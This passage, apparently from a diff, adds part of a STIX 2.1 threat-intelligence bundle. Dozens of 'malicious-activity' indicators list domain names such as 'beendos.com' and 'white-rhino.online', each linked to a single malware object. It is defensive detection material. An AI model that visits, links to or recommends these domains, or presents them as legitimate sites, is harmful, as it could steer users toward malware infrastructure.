"relationship--4502d2ad-50ce-494e-885a-74d3d13be81d", + "created": "2023-04-11T17:02:46.166712Z", + "modified": "2023-04-11T17:02:46.166712Z", + "relationship_type": "indicates", + "source_ref": "indicator--195d76c3-0e89-4c3e-8188-629cde628a67", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--22da1606-8689-4589-91d6-29936ed21be9", + "created": "2023-04-11T17:02:46.166895Z", + "modified": "2023-04-11T17:02:46.166895Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='homeigardens.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.166895Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8b8cc4ac-4bee-469f-a76b-b558606d06a5", + "created": "2023-04-11T17:02:46.167531Z", + "modified": "2023-04-11T17:02:46.167531Z", + "relationship_type": "indicates", + "source_ref": "indicator--22da1606-8689-4589-91d6-29936ed21be9", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b083c8cd-e498-42de-875c-421afb0d5a32", + "created": "2023-04-11T17:02:46.167713Z", + "modified": "2023-04-11T17:02:46.167713Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='beendos.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.167713Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6969b944-bb1d-4dd7-a583-504b65fee7a8", + "created": "2023-04-11T17:02:46.168327Z", + "modified": "2023-04-11T17:02:46.168327Z", + "relationship_type": "indicates", + "source_ref": "indicator--b083c8cd-e498-42de-875c-421afb0d5a32", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cafb79c5-9c48-4f80-b158-d001de57c09f", + "created": "2023-04-11T17:02:46.168512Z", + "modified": "2023-04-11T17:02:46.168512Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eedloversra.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.168512Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1fd02724-6fee-415f-bf1f-aec9151eab01", + "created": "2023-04-11T17:02:46.169251Z", + "modified": "2023-04-11T17:02:46.169251Z", + "relationship_type": "indicates", + "source_ref": "indicator--cafb79c5-9c48-4f80-b158-d001de57c09f", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--034f9fb4-fb42-498c-a6bc-7f68d26ebfb2", + "created": "2023-04-11T17:02:46.169435Z", + "modified": "2023-04-11T17:02:46.169435Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pachadesert.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.169435Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--94681219-b194-47ec-b516-0bd5ac7e3269", + "created": "2023-04-11T17:02:46.170058Z", + "modified": "2023-04-11T17:02:46.170058Z", + "relationship_type": "indicates", + "source_ref": "indicator--034f9fb4-fb42-498c-a6bc-7f68d26ebfb2", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--03e6a101-3beb-47bb-83cf-2ac9a0649023", + "created": "2023-04-11T17:02:46.170238Z", + "modified": "2023-04-11T17:02:46.170238Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kidsfunland.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.170238Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1938ac4d-c652-4315-9a7c-395fc0663d34", + "created": "2023-04-11T17:02:46.170884Z", + "modified": "2023-04-11T17:02:46.170884Z", + "relationship_type": "indicates", + "source_ref": "indicator--03e6a101-3beb-47bb-83cf-2ac9a0649023", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--32cdd236-a231-41a1-90b8-526a600c2886", + "created": "2023-04-11T17:02:46.171074Z", + "modified": "2023-04-11T17:02:46.171074Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='inneture.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.171074Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8ad11827-6a72-4c9b-9612-4b7e90762484", + "created": "2023-04-11T17:02:46.1717Z", + "modified": "2023-04-11T17:02:46.1717Z", + "relationship_type": "indicates", + "source_ref": "indicator--32cdd236-a231-41a1-90b8-526a600c2886", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f13e57cb-4fd5-4f1c-b635-a36674082ffa", + "created": "2023-04-11T17:02:46.171878Z", + "modified": "2023-04-11T17:02:46.171878Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='white-rhino.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.171878Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba9b9e6a-3471-4f05-962e-5301a685ce6b", + "created": "2023-04-11T17:02:46.172502Z", + "modified": "2023-04-11T17:02:46.172502Z", + "relationship_type": "indicates", + "source_ref": "indicator--f13e57cb-4fd5-4f1c-b635-a36674082ffa", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bf80346d-e98c-4e5e-99a8-511309beb1f7", + "created": "2023-04-11T17:02:46.17268Z", + "modified": "2023-04-11T17:02:46.17268Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='homelosite.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.17268Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--40e629ac-d56e-4862-a980-eaf270e4f719", + "created": "2023-04-11T17:02:46.1733Z", + "modified": "2023-04-11T17:02:46.1733Z", + "relationship_type": "indicates", + "source_ref": "indicator--bf80346d-e98c-4e5e-99a8-511309beb1f7", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e6b3d44-105e-4af4-8ee3-9ff7e68ea5a1", + "created": "2023-04-11T17:02:46.173478Z", + "modified": "2023-04-11T17:02:46.173478Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='space-moon.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.173478Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0af8c41a-c86f-42a7-8d73-ea4c8a5ac506", + "created": "2023-04-11T17:02:46.174113Z", + "modified": "2023-04-11T17:02:46.174113Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e6b3d44-105e-4af4-8ee3-9ff7e68ea5a1", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7f59e00a-6224-4682-9943-cd5778485ec8", + "created": "2023-04-11T17:02:46.17429Z", + "modified": "2023-04-11T17:02:46.17429Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dressuse.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.17429Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0d003b0c-2002-4947-9766-4b7a3a53e94d", + "created": "2023-04-11T17:02:46.174909Z", + "modified": "2023-04-11T17:02:46.174909Z", + "relationship_type": "indicates", + "source_ref": "indicator--7f59e00a-6224-4682-9943-cd5778485ec8", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b4ccf5c4-723b-449b-88da-d41d7fdf3de7", + "created": "2023-04-11T17:02:46.175095Z", + "modified": "2023-04-11T17:02:46.175095Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='garilc.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.175095Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cf2a85fd-36ca-4098-806b-69da1168676e", + "created": "2023-04-11T17:02:46.175729Z", + "modified": "2023-04-11T17:02:46.175729Z", + "relationship_type": "indicates", + "source_ref": "indicator--b4ccf5c4-723b-449b-88da-d41d7fdf3de7", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cc8946c9-8edb-46d1-b962-b90c955db11c", + "created": "2023-04-11T17:02:46.175912Z", + "modified": "2023-04-11T17:02:46.175912Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='studysliii.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.175912Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0eb2d5bc-2bae-43df-bd9c-4d29d2329011", + "created": "2023-04-11T17:02:46.176652Z", + "modified": "2023-04-11T17:02:46.176652Z", + "relationship_type": "indicates", + "source_ref": "indicator--cc8946c9-8edb-46d1-b962-b90c955db11c", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d5bca389-9d2b-46a3-a212-f563676f393d", + "created": "2023-04-11T17:02:46.176835Z", + "modified": "2023-04-11T17:02:46.176835Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='redanddred.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.176835Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2f0ac7f8-5aad-446e-a44f-6e2e46f4a50f", + "created": "2023-04-11T17:02:46.177449Z", + "modified": "2023-04-11T17:02:46.177449Z", + "relationship_type": "indicates", + "source_ref": "indicator--d5bca389-9d2b-46a3-a212-f563676f393d", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--45b27f42-2678-47af-8790-7d1bfa10f6b0", + "created": "2023-04-11T17:02:46.177627Z", + "modified": "2023-04-11T17:02:46.177627Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lateparties.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.177627Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--38d67f89-4882-4683-9cb3-d32ffa44b822", + "created": "2023-04-11T17:02:46.178239Z", + "modified": "2023-04-11T17:02:46.178239Z", + "relationship_type": "indicates", + "source_ref": "indicator--45b27f42-2678-47af-8790-7d1bfa10f6b0", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e697b74-1a58-4152-bdef-1d7a85414550", + "created": "2023-04-11T17:02:46.178416Z", + "modified": "2023-04-11T17:02:46.178416Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='womnbling.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.178416Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--be913031-5a6f-4fad-a6b6-ba27895726d3", + "created": "2023-04-11T17:02:46.17903Z", + "modified": "2023-04-11T17:02:46.17903Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e697b74-1a58-4152-bdef-1d7a85414550", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--90fba606-114b-4fa2-be6e-1dcf1ddda393", + "created": "2023-04-11T17:02:46.179221Z", + "modified": "2023-04-11T17:02:46.179221Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='codinerom.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.179221Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ee8bba31-f6fb-41b2-b719-e60694126f42", + "created": "2023-04-11T17:02:46.179834Z", + "modified": "2023-04-11T17:02:46.179834Z", + "relationship_type": "indicates", + "source_ref": "indicator--90fba606-114b-4fa2-be6e-1dcf1ddda393", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d8198e84-2f5e-40d2-8c41-acc64dbd62b4", + "created": "2023-04-11T17:02:46.180012Z", + "modified": "2023-04-11T17:02:46.180012Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sunclub.site']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.180012Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ddcfd3d7-b255-4464-bd45-540b042e90a8", + "created": "2023-04-11T17:02:46.180679Z", + "modified": "2023-04-11T17:02:46.180679Z", + "relationship_type": "indicates", + "source_ref": "indicator--d8198e84-2f5e-40d2-8c41-acc64dbd62b4", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--75bda3ea-4f9e-473b-a620-26aef9eb4b52", + "created": "2023-04-11T17:02:46.18088Z", + "modified": "2023-04-11T17:02:46.18088Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='treerroots.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.18088Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7ac38a05-3e0b-4fa4-83c0-8f4b20f9f00b", + "created": "2023-04-11T17:02:46.181549Z", + "modified": "2023-04-11T17:02:46.181549Z", + "relationship_type": "indicates", + "source_ref": "indicator--75bda3ea-4f9e-473b-a620-26aef9eb4b52", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f60aa17c-08b3-4b78-86e0-b2eb68bbc507", + "created": "2023-04-11T17:02:46.181763Z", + "modified": "2023-04-11T17:02:46.181763Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='projectoid.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.181763Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a9805b45-190c-4252-8e0f-ff1505834bc0", + "created": "2023-04-11T17:02:46.182389Z", + "modified": "2023-04-11T17:02:46.182389Z", + "relationship_type": "indicates", + "source_ref": "indicator--f60aa17c-08b3-4b78-86e0-b2eb68bbc507", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5f2804eb-315f-4b3e-80ca-00555a75daab", + "created": "2023-04-11T17:02:46.182567Z", + "modified": "2023-04-11T17:02:46.182567Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bcarental.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.182567Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9ffacdbc-c7ab-41db-b4b7-3de9b3ec5e05", + "created": "2023-04-11T17:02:46.183195Z", + "modified": "2023-04-11T17:02:46.183195Z", + "relationship_type": "indicates", + "source_ref": "indicator--5f2804eb-315f-4b3e-80ca-00555a75daab", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aeb544e4-bdf0-4f07-a61f-c9263b46c0c3", + "created": "2023-04-11T17:02:46.183375Z", + "modified": "2023-04-11T17:02:46.183375Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='enrollering.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.183375Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6f85f1ed-df30-48b1-b6c2-9fd788f0a43a", + "created": "2023-04-11T17:02:46.184124Z", + "modified": "2023-04-11T17:02:46.184124Z", + "relationship_type": "indicates", + "source_ref": "indicator--aeb544e4-bdf0-4f07-a61f-c9263b46c0c3", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--34856962-271f-447e-ab99-039b8467cab6", + "created": "2023-04-11T17:02:46.184309Z", + "modified": "2023-04-11T17:02:46.184309Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fullmoongreyparty.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.184309Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--207b2cc7-9e8e-4f90-8308-254135b63451", + "created": "2023-04-11T17:02:46.184932Z", + "modified": "2023-04-11T17:02:46.184932Z", + "relationship_type": "indicates", + "source_ref": "indicator--34856962-271f-447e-ab99-039b8467cab6", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--378276aa-49f8-4518-aece-ba1213526ccd", + "created": "2023-04-11T17:02:46.18511Z", + "modified": "2023-04-11T17:02:46.18511Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hoteliqo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.18511Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4ca38a77-4f3b-4512-b859-ac15703ffff6", + "created": "2023-04-11T17:02:46.185716Z", + "modified": "2023-04-11T17:02:46.185716Z", + "relationship_type": "indicates", + "source_ref": "indicator--378276aa-49f8-4518-aece-ba1213526ccd", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ecdb5697-7281-406b-aa0f-f92047ff791c", + "created": "2023-04-11T17:02:46.185892Z", + "modified": "2023-04-11T17:02:46.185892Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stylelifees.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.185892Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--532f9684-cfdf-486f-b821-85fd2bc24222", + "created": "2023-04-11T17:02:46.186507Z", + "modified": "2023-04-11T17:02:46.186507Z", + "relationship_type": "indicates", + "source_ref": "indicator--ecdb5697-7281-406b-aa0f-f92047ff791c", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4145e976-773d-4959-8ab9-a1a9d38dfcca", + "created": "2023-04-11T17:02:46.186683Z", + "modified": "2023-04-11T17:02:46.186683Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='earthyouwantiis.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.186683Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--26446b9b-07eb-4234-ba9e-e1334a0d0990", + "created": "2023-04-11T17:02:46.18731Z", + "modified": "2023-04-11T17:02:46.18731Z", + "relationship_type": "indicates", + "source_ref": "indicator--4145e976-773d-4959-8ab9-a1a9d38dfcca", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0b46585e-5434-4c69-8dc2-ebe0bbb5714b", + "created": "2023-04-11T17:02:46.187489Z", + "modified": "2023-04-11T17:02:46.187489Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ecologitics.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.187489Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4896f779-4028-4df3-86ff-2cf77a27b42a", + "created": "2023-04-11T17:02:46.188103Z", + "modified": "2023-04-11T17:02:46.188103Z", + "relationship_type": "indicates", + "source_ref": "indicator--0b46585e-5434-4c69-8dc2-ebe0bbb5714b", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ab3b0dbd-7bbb-48e0-ac72-a9245575aca2", + "created": "2023-04-11T17:02:46.188286Z", + "modified": "2023-04-11T17:02:46.188286Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unitedyears.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.188286Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4c1945b9-28cf-4301-97f8-d8ca5254e878", + "created": "2023-04-11T17:02:46.188995Z", + "modified": "2023-04-11T17:02:46.188995Z", + "relationship_type": "indicates", + "source_ref": "indicator--ab3b0dbd-7bbb-48e0-ac72-a9245575aca2", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6a1d8796-6ee7-4e4e-af1f-a3601f9b3f53", + "created": "2023-04-11T17:02:46.189174Z", + "modified": "2023-04-11T17:02:46.189174Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='setclass.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.189174Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--157b6648-d51c-4424-99e1-6903d3449b67", + "created": "2023-04-11T17:02:46.189789Z", + "modified": "2023-04-11T17:02:46.189789Z", + "relationship_type": "indicates", + "source_ref": "indicator--6a1d8796-6ee7-4e4e-af1f-a3601f9b3f53", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fd747d71-736e-4971-95af-b8596bfb31d8", + "created": "2023-04-11T17:02:46.18997Z", + "modified": "2023-04-11T17:02:46.18997Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='elvacream.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.18997Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2f1a3940-d980-43ad-850e-e5d59611ee3c", + "created": "2023-04-11T17:02:46.190633Z", + "modified": "2023-04-11T17:02:46.190633Z", + "relationship_type": "indicates", + "source_ref": "indicator--fd747d71-736e-4971-95af-b8596bfb31d8", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--da91844d-cbf5-4456-8bb6-1a012c31d9a4", + "created": "2023-04-11T17:02:46.190858Z", + "modified": "2023-04-11T17:02:46.190858Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='countshops.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.190858Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--61bf1854-aefc-4f83-80f2-880721eeb2cd", + "created": "2023-04-11T17:02:46.191662Z", + "modified": "2023-04-11T17:02:46.191662Z", + "relationship_type": "indicates", + "source_ref": "indicator--da91844d-cbf5-4456-8bb6-1a012c31d9a4", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a2ef3f81-ca58-47ca-8040-8a2c5b592191", + "created": "2023-04-11T17:02:46.191848Z", + "modified": "2023-04-11T17:02:46.191848Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kidzlande.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.191848Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2208c4b0-2b21-4cd8-afc4-c11102f75029", + "created": "2023-04-11T17:02:46.192464Z", + "modified": "2023-04-11T17:02:46.192464Z", + "relationship_type": "indicates", + "source_ref": "indicator--a2ef3f81-ca58-47ca-8040-8a2c5b592191", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3e949074-1b1c-426a-bde3-830a41ebf6b2", + "created": "2023-04-11T17:02:46.192643Z", + "modified": "2023-04-11T17:02:46.192643Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='agronomsdoc.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.192643Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ee5aa34c-40f9-4b2c-975e-0770e3c7d737", + "created": "2023-04-11T17:02:46.193248Z", + "modified": "2023-04-11T17:02:46.193248Z", + "relationship_type": "indicates", + "source_ref": "indicator--3e949074-1b1c-426a-bde3-830a41ebf6b2", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--62b91e2a-55e1-4a0d-b9ba-baf5e4ebdcf2", + "created": "2023-04-11T17:02:46.193425Z", + "modified": "2023-04-11T17:02:46.193425Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='greenrunners.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.193425Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--73215a10-019f-4031-b3ed-43f0cc008a0d", + "created": "2023-04-11T17:02:46.194031Z", + "modified": "2023-04-11T17:02:46.194031Z", + "relationship_type": "indicates", + "source_ref": "indicator--62b91e2a-55e1-4a0d-b9ba-baf5e4ebdcf2", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--622297e7-2dfd-4f88-a4c2-1144ca1966b8", + "created": "2023-04-11T17:02:46.194208Z", + "modified": "2023-04-11T17:02:46.194208Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='allplaces.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.194208Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ca0e31fb-7fc6-4394-aa42-52bb70bd2973", + "created": "2023-04-11T17:02:46.194816Z", + "modified": "2023-04-11T17:02:46.194816Z", + "relationship_type": "indicates", + "source_ref": "indicator--622297e7-2dfd-4f88-a4c2-1144ca1966b8", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bea41269-8c08-46e3-99fe-c09ed8057941", + "created": "2023-04-11T17:02:46.194993Z", + "modified": "2023-04-11T17:02:46.194993Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='goodsforuw.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.194993Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--11c3a670-8bce-4479-ae91-bc35350923da", + "created": "2023-04-11T17:02:46.195604Z", + "modified": "2023-04-11T17:02:46.195604Z", + "relationship_type": "indicates", + "source_ref": "indicator--bea41269-8c08-46e3-99fe-c09ed8057941", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--207d16d7-23c9-473a-88c9-c81f831dea61", + "created": "2023-04-11T17:02:46.19578Z", + "modified": "2023-04-11T17:02:46.19578Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='codingstudies.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.19578Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2a82b7e5-cdd9-42c7-ae61-aa35a36a7eaa", + "created": "2023-04-11T17:02:46.196386Z", + "modified": "2023-04-11T17:02:46.196386Z", + "relationship_type": "indicates", + "source_ref": "indicator--207d16d7-23c9-473a-88c9-c81f831dea61", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b8f58d86-8097-4544-a511-dc4f9c45148b", + "created": "2023-04-11T17:02:46.196562Z", + "modified": "2023-04-11T17:02:46.196562Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dsudro.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.196562Z" + }, + { + "type": 